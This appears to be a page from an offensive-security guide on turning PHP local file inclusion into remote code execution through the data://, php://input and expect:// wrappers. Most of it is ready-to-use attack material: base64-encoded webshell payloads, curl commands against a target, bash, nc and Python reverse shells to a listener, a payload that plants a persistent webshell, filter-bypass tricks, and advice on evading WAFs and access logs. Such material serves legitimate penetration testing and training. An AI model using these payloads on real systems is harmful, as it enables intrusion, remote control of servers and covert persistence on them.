Skip to content

Wrappers

When the LFI sink executes PHP, three wrappers turn the bug into RCE without needing a file uploaded or a remote URL hosted:

# data:// - embed base64-encoded PHP directly in the URL
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id
# php://input - send PHP code as POST body
curl -X POST --data '<?php system($_GET["cmd"]); ?>' \
"https://target/?page=php://input&cmd=id"
# expect:// - when the expect extension is loaded
?page=expect://id

Success indicator: output of the command (uid=... for id) in the response.

WrapperRequiresNotes
data://allow_url_include = OnMost common - base64-encoded PHP in the URL
php://inputallow_url_include = OnReads POST body as PHP source
expect://expect extension loaded (rare)Direct command execution, no wrapper-shell needed

allow_url_include is disabled by default. Check via php://filter before assuming these work:

Terminal window
curl -s "https://target/?page=php://filter/convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" \
| grep -oE '[A-Za-z0-9+/=]{200,}' \
| base64 -d \
| grep -E '^(allow_url_include|extension=)'

If allow_url_include = Ondata:// and php://input work. If extension=expectexpect:// works.

The cleanest RCE primitive. Embed the PHP code directly in the URL using the data: scheme.

  1. Write the PHP code:

    <?php system($_GET["cmd"]); ?>
  2. Base64-encode it:

    Terminal window
    echo '<?php system($_GET["cmd"]); ?>' | base64
    # → PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
  3. URL-encode the base64 (the = padding and + need encoding):

    Terminal window
    echo 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==' \
    | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"
    # → PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D
  4. Build the full URL:

    ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

The application reads data://text/plain;base64,..., base64-decodes to the PHP source, then executes it (because the sink is include()-like). The included code reads $_GET["cmd"] - which is id - and runs it.

The text/plain MIME type is conventional but not required. The wrapper accepts any:

data://text/plain;base64,... # most common
data://text/html;base64,... # works
data://application/octet-stream;base64,... # works

Plaintext payload (no base64) is also accepted:

data://text/plain,<?php system($_GET["cmd"]); ?>

URL-encoded for transport:

?page=data://text/plain,%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E&cmd=id

Base64 form is preferred because PHP brackets and operators don’t survive the URL cleanly without encoding - base64 makes the payload portable across encoding contexts.

When the application appends .php:

include($_GET['page'] . ".php");

The full path becomes data://text/plain;base64,...&cmd=id.php. PHP parses the data:// URL and reads the base64 chunk up to the parameter delimiter - the trailing .php becomes part of the URL but doesn’t break parsing. The wrapper works regardless of appended extensions.

A more useful PHP payload - a reverse shell:

Terminal window
# bash reverse shell payload
PHP_PAYLOAD='<?php exec("bash -c \"bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\""); ?>'
echo "$PHP_PAYLOAD" | base64
# → PD9waHAgZXhlYygiYmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvOTk5OSAwPiYxXCIiKTsgPz4K

Replace <LHOST>/<LPORT> with your listener, encode, submit. Catch on nc -lvnp <LPORT>.

Reads the raw HTTP request body and treats it as the file contents. Same RCE outcome as data:// but uses POST for the payload instead of GET:

Terminal window
curl -X POST \
--data '<?php system($_GET["cmd"]); ?>' \
"https://target/?page=php://input&cmd=id"

The application sees:

  • page=php://input (in URL)
  • POST body: <?php system($_GET["cmd"]); ?>
  • The wrapper substitutes the POST body for the file contents
  • PHP executes the body
  • $_GET["cmd"]=id triggers the id command
  • WAF blocking data:// - some WAFs specifically block the data: scheme. php://input doesn’t have the scheme on the URL.
  • Large payloads - data:// requires the payload to fit in the URL (~2KB limit on most stacks). POST body has no such limit.
  • Logging avoidance - server access logs capture URLs but typically not POST bodies. php://input keeps the payload out of access logs.
  • The parameter only accepts GET requests. If the LFI sink is reached only via GET, php://input can’t deliver the POST body to it.
  • allow_url_include = Off. Same restriction as data://.
  • The application reads the body for its own purposes before the include. The wrapper reads from php://input which is a stream - if the application consumed it already, the wrapper sees an empty body.

The third case is subtle. PHP frameworks that parse the request body early (e.g., Laravel’s middleware, Symfony’s request handling) consume the input stream. By the time the include() runs, php://input is empty. This is rare in trivial LFI demos but common in real frameworks.

The cleanest RCE if available. The expect extension provides direct command execution:

?page=expect://id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

No PHP code involved - the wrapper invokes the shell directly. The output is the command’s stdout (and stderr, depending on configuration).

The expect PHP extension must be installed and enabled. Check:

Terminal window
curl -s "https://target/?page=php://filter/convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" \
| grep -oE '[A-Za-z0-9+/=]{200,}' \
| base64 -d \
| grep -i expect
# → extension=expect (if enabled)

The expect extension isn’t part of standard PHP - it’s a PECL package installed separately. Most production servers don’t have it. The bug surface is narrow but devastating when present.

  • Commands run as the web server user (www-data, apache, nginx).
  • Some commands hang or fail silently due to TTY expectations of expect. Simple commands like id, whoami, uname -a work cleanly. Anything interactive (vim, python interpreter) won’t.
  • The expect:// wrapper doesn’t shell-escape - special characters in your command can break the parse:
    ?page=expect://ls -la /tmp # works
    ?page=expect://ls -la /tmp;id # may execute as two commands or break

For complex commands, base64-encode and pipe through bash:

?page=expect://bash -c "echo aWQ= | base64 -d | bash"

Where aWQ= is base64 of id. Avoids escaping issues.

Some applications filter wrapper schemes. Common bypasses:

?page=DATA://text/plain;base64,...
?page=Data://text/plain;base64,...
?page=pHp://input

Wrapper-scheme parsing is sometimes case-sensitive in the filter but case-insensitive in PHP’s URL handler.

When the app filters wrappers but allows php://filter, chain through filter:

?page=php://filter/convert.base64-decode/resource=data://text/plain;base64,...

This is convoluted and rarely works, but worth knowing about for edge cases.

The full set of PHP wrappers is larger than the three discussed. Less common but sometimes useful:

phar:// # PHAR archive - see [file-upload chain]
zip:// # ZIP archive - see [file-upload chain]
glob:// # filesystem glob - read-only enumeration
ssh2:// # if ssh2 extension installed - connects to SSH
ogg:// # OGG audio - read-only

Most of these are read-only and don’t lead directly to RCE; they’re file-access primitives that compose with other techniques.

When the application has both LFI and a path prefix:

include("./pages/" . $_GET['page']);

The naive ?page=data://... becomes ./pages/data://... - PHP might not recognize the wrapper because of the prefix.

Escape the prefix first:

?page=../../data://text/plain;base64,...

PHP resolves ../../ from the prefix, hits data://, recognizes the wrapper, processes the rest. Specific path depth and PHP version affect whether this works - try with various ../ counts.

Reusable PHP payloads for the data wrapper. Base64-encoded, drop-in replacements for the system($_GET[...]) skeleton:

Terminal window
# bash reverse shell
echo '<?php exec("bash -c \"bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\""); ?>' | base64
# nc reverse shell (when nc has -e)
echo '<?php exec("nc <LHOST> <LPORT> -e /bin/bash"); ?>' | base64
# python reverse shell (when bash unavailable)
echo '<?php exec("python3 -c \"import socket,subprocess,os;s=socket.socket();s.connect((\\\"<LHOST>\\\",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\""); ?>' | base64
# File-writing payload (drop a permanent shell)
echo '<?php file_put_contents("/var/www/html/x.php", "<?php system(\$_GET[\"c\"]); ?>"); ?>' | base64

The file-writing payload is particularly useful - drops a persistent shell at /x.php accessible at ?c=... without needing to re-trigger the LFI for each command.

Confirm the wrapper works without committing to a full RCE:

Terminal window
# Minimal data:// payload that prints "wrapper works"
echo '<?php echo "WRAPPER_WORKS"; ?>' | base64
# Submit:
?page=data://text/plain;base64,PD9waHAgZWNobyAiV1JBUFBFUl9XT1JLUyI7ID8+
# php://input minimal probe
curl -X POST --data '<?php echo "INPUT_WRAPPER_WORKS"; ?>' "https://target/?page=php://input"
# expect:// minimal probe (output is the command's stdout)
?page=expect://echo expect_works

The probe payloads avoid touching the filesystem or network - clean way to confirm capability before committing.

  • allow_url_include is the key gate. Without it, data:// and php://input fail outright. Check the PHP config first via php://filter - answers in one request.
  • expect is rare but devastating. When present, it’s the shortest path to RCE through LFI. Worth specifically checking for in any PHP config file you can read.
  • WAFs catch some wrapper schemes more than others. data: is in most WAF rulesets. php://input slips past more often because the URL doesn’t look exotic - just a normal-looking php://input string. expect:// is uncommon enough that few WAFs match it specifically.
  • Once one wrapper works, the others usually do too. They share the allow_url_include prerequisite. If data:// fails but you haven’t checked the config, php://input will likely fail for the same reason.